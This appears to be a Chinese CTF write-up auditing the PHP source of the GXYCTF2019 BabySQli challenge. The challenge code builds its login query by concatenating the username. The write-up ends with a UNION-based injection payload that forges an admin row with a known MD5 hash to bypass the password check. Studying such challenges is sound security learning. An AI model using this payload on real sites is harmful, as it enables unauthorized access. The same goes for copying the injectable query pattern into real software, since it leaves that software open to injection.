php代码审计-用户名和密码分开检验

代码 [GXYCTF2019]BabySQli

• config.php

<?php
DEFINE('DB_USER','123');
DEFINE('DB_PASSWORD','123');
DEFINE('db_host','127.0.0.1');
DEFINE('DB_NAME','web_sqli');
$con=@mysqli_connect(db_host,DB_USER,DB_PASSWORD,DB_NAME) OR die ('couldnt connect'.mysqli_connect_error());

?>

• flag.php

<?php $flag = 'GXY{y0u_4re_not_aDmin!}';?>

• index.php

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Do you know who am I?</title>
<center>
	<form action="search.php" method="post" style="margin-top: 300">
		<input type="text" name="name" placeholder="UserName" required>
		<br>
		<input type="password" style="margin-top: 20" name="pw" placeholder="password" required>
		<br>
		<button style="margin-top:20;" type="submit">登录</button>
	</form>
</center>

• search.php

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";

// 去除转义
if (get_magic_quotes_gpc()) {
	function stripslashes_deep($value)
	{
		$value = is_array($value) ?
		array_map('stripslashes_deep', $value) :
		stripslashes($value);
		return $value;
	}

	$_POST = array_map('stripslashes_deep', $_POST);
	$_GET = array_map('stripslashes_deep', $_GET);
	$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
	$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}

mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/(|)|=|or/", $name)){
	die("do not hack me!");
}
else{
	if (!$result) {
		printf("Error: %s
", mysqli_error($con));
		exit();
	}
	else{
		// echo '<pre>';
		$arr = mysqli_fetch_row($result);
		// print_r($arr);
		if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}
		else{
			die("wrong user!");
		}
	}
}

?>

关键代码在search.php

$sql = select * from user where username = '$name';
$result = mysqli_query($con, $sql);

正常的逻辑应该为:

<?php
$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "myDB";
 
// 创建连接
$conn = mysqli_connect($servername, $username, $password, $dbname);
// Check connection
if (!$conn) {
    die("连接失败: " . mysqli_connect_error());
}
 
$sql = "SELECT id, firstname, lastname FROM MyGuests";
$result = mysqli_query($conn, $sql);
 
if (mysqli_num_rows($result) > 0) {
    // 输出数据
    while($row = mysqli_fetch_assoc($result)) {
        echo "id: " . $row["id"]. " - Name: " . $row["firstname"]. " " . $row["lastname"]. "<br>";
    }
} else {
    echo "0 结果";
}
 
mysqli_close($conn);
?>

mysql Union查询特性

在联合查询并不存在的数据时，联合查询就会构造一个虚拟的数据。

所以,如果username输入

1' union select 1,'admin','900150983cd24fb0d6963f7d28e17f72'#

password输入abc,就可以登录成功